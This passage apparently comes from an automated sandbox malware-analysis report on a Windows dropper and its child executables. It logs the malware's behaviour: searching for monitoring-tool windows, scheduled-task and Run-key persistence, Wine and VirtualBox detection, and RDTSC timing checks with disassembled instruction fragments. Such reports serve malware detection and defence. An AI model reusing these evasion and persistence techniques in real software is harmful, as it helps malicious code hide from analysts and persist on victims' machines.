Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0bdaf26796.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0bdaf26796.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 96b4cd4489.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 96b4cd4489.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 60eccf97f7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 60eccf97f7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003022001\60eccf97f7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\LY9L8IB5BIZFUZH5SXM3A25NO.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\PMFCOSU6OCEJM8ZVIZ4IN3GH1YD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AACD5 second address: 6AAD14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0734C6ABF6h 0x0000000a push edi 0x0000000b jmp 00007F0734C6ABECh 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0734C6ABEBh 0x00000019 jnc 00007F0734C6ABECh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAD14 second address: 6AAD18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AAFEB second address: 6AB002 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB002 second address: 6AB008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB008 second address: 6AB00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB15C second address: 6AB162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB162 second address: 6AB173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0734C6ABEAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB173 second address: 6AB193 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB193 second address: 6AB1A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734C6ABF2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB1A9 second address: 6AB1D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0734D2B7B2h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB5E4 second address: 6AB5E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB5E8 second address: 6AB5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734D2B7AAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB5FC second address: 6AB602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ACFDC second address: 6AD0A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0734D2B7B4h 0x00000009 popad 0x0000000a push eax 0x0000000b jng 00007F0734D2B7B1h 0x00000011 nop 0x00000012 movzx edi, dx 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D1C0Ch], eax 0x0000001d push 178B2C12h 0x00000022 push esi 0x00000023 jc 00007F0734D2B7A8h 0x00000029 pop esi 0x0000002a xor dword ptr [esp], 178B2C92h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F0734D2B7A8h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b push 00000003h 0x0000004d mov dword ptr [ebp+122D22EFh], eax 0x00000053 push 00000000h 0x00000055 call 00007F0734D2B7B8h 0x0000005a jmp 00007F0734D2B7AEh 0x0000005f pop edx 0x00000060 push 00000003h 0x00000062 adc edi, 682421B9h 0x00000068 call 00007F0734D2B7A9h 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F0734D2B7B9h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD0A4 second address: 6AD0DA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0734C6ABECh 0x00000008 jo 00007F0734C6ABE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push esi 0x00000013 jmp 00007F0734C6ABEBh 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0734C6ABF5h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD1D8 second address: 6AD1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007F0734D2B7A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD1E4 second address: 6AD1F2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
